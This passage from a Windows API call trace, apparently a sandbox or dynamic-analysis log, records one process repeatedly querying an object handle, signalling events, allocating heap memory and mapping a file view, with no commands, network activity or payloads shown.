ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.622] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.622] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.622] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.622] ResetEvent (hEvent=0xe8) returned 1 [0057.622] SetEvent (hEvent=0xec) returned 1 [0057.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.622] ResetEvent (hEvent=0xe8) returned 1 [0057.622] SetEvent (hEvent=0xec) returned 1 [0057.622] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.622] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.622] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.622] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.622] ResetEvent (hEvent=0xe8) returned 1 [0057.622] SetEvent (hEvent=0xec) returned 1 [0057.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.623] ResetEvent (hEvent=0xe8) returned 1 [0057.623] SetEvent (hEvent=0xec) returned 1 [0057.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.623] ResetEvent (hEvent=0xe8) returned 1 [0057.623] SetEvent (hEvent=0xec) returned 1 [0057.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.623] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.623] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.623] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.623] ResetEvent (hEvent=0xe8) returned 1 [0057.624] SetEvent (hEvent=0xec) returned 1 [0057.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.624] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.624] ResetEvent (hEvent=0xe8) returned 1 [0057.624] SetEvent (hEvent=0xec) returned 1 [0057.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.624] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.624] ResetEvent (hEvent=0xe8) returned 1 [0057.624] SetEvent (hEvent=0xec) returned 1 [0057.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.624] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.624] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.624] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.624] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.625] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.625] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.625] ResetEvent (hEvent=0xe8) returned 1 [0057.625] SetEvent (hEvent=0xec) returned 1 [0057.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.625] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.625] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.625] ResetEvent (hEvent=0xe8) returned 1 [0057.625] SetEvent (hEvent=0xec) returned 1 [0057.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.625] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.625] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.625] ResetEvent (hEvent=0xe8) returned 1 [0057.625] SetEvent (hEvent=0xec) returned 1 [0057.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.625] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.626] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.626] ResetEvent (hEvent=0xe8) returned 1 [0057.626] SetEvent (hEvent=0xec) returned 1 [0057.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.626] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.626] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.626] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.626] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.626] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.626] ResetEvent (hEvent=0xe8) returned 1 [0057.626] SetEvent (hEvent=0xec) returned 1 [0057.626] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.626] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.626] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.626] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.626] ResetEvent (hEvent=0xe8) returned 1 [0057.626] SetEvent (hEvent=0xec) returned 1 [0057.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.627] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.627] ResetEvent (hEvent=0xe8) returned 1 [0057.627] SetEvent (hEvent=0xec) returned 1 [0057.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.627] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.627] ResetEvent (hEvent=0xe8) returned 1 [0057.627] SetEvent (hEvent=0xec) returned 1 [0057.627] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.627] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.627] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.627] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.627] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.627] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.628] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.628] ResetEvent (hEvent=0xe8) returned 1 [0057.628] SetEvent (hEvent=0xec) returned 1 [0057.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.628] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.628] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.628] ResetEvent (hEvent=0xe8) returned 1 [0057.628] SetEvent (hEvent=0xec) returned 1 [0057.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.628] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.628] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.628] ResetEvent (hEvent=0xe8) returned 1 [0057.628] SetEvent (hEvent=0xec) returned 1 [0057.628] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.628] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.628] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.629] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.629] ResetEvent (hEvent=0xe8) returned 1 [0057.629] SetEvent (hEvent=0xec) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.629] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.629] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.629] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.629] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.629] ResetEvent (hEvent=0xe8) returned 1 [0057.629] SetEvent (hEvent=0xec) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.629] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.629] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.629] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.629] ResetEvent (hEvent=0xe8) returned 1 [0057.629] SetEvent (hEvent=0xec) returned 1 [0057.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.630] ResetEvent (hEvent=0xe8) returned 1 [0057.630] SetEvent (hEvent=0xec) returned 1 [0057.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.630] ResetEvent (hEvent=0xe8) returned 1 [0057.630] SetEvent (hEvent=0xec) returned 1 [0057.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.630] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.630] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.630] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.630] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.630] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.630] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.630] ResetEvent (hEvent=0xe8) returned 1 [0057.631] SetEvent (hEvent=0xec) returned 1 [0057.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.631] ResetEvent (hEvent=0xe8) returned 1 [0057.631] SetEvent (hEvent=0xec) returned 1 [0057.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.631] ResetEvent (hEvent=0xe8) returned 1 [0057.631] SetEvent (hEvent=0xec) returned 1 [0057.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.631] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.631] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.631] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.631] ResetEvent (hEvent=0xe8) returned 1 [0057.631] SetEvent (hEvent=0xec) returned 1 [0057.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.632] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.632] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.632] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.632] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.632] ResetEvent (hEvent=0xe8) returned 1 [0057.632] SetEvent (hEvent=0xec) returned 1 [0057.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.632] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.632] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.632] ResetEvent (hEvent=0xe8) returned 1 [0057.632] SetEvent (hEvent=0xec) returned 1 [0057.632] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.632] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.633] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.633] ResetEvent (hEvent=0xe8) returned 1 [0057.633] SetEvent (hEvent=0xec) returned 1 [0057.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.633] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.633] ResetEvent (hEvent=0xe8) returned 1 [0057.633] SetEvent (hEvent=0xec) returned 1 [0057.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.633] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.633] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.633] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.633] MapViewOfFile (hFileMappingObject=0x180, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.633] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.633] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.633] ResetEvent (hEvent=0xe8) returned 1 [0057.633] SetEvent (hEvent=0xec) returned 1 [0057.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.634] ResetEvent (hEvent=0xe8) returned 1 [0057.634] SetEvent (hEvent=0xec) returned 1 [0057.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.634] ResetEvent (hEvent=0xe8) returned 1 [0057.634] SetEvent (hEvent=0xec) returned 1 [0057.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.634] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.634] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.634] NtQueryObject (in: Handle=0x180, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.634] ResetEvent (hEvent=0xe8) returned 1 [0057.634] SetEvent (hEvent=0xec) returned 1 [0057.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.635] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.635] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.635] 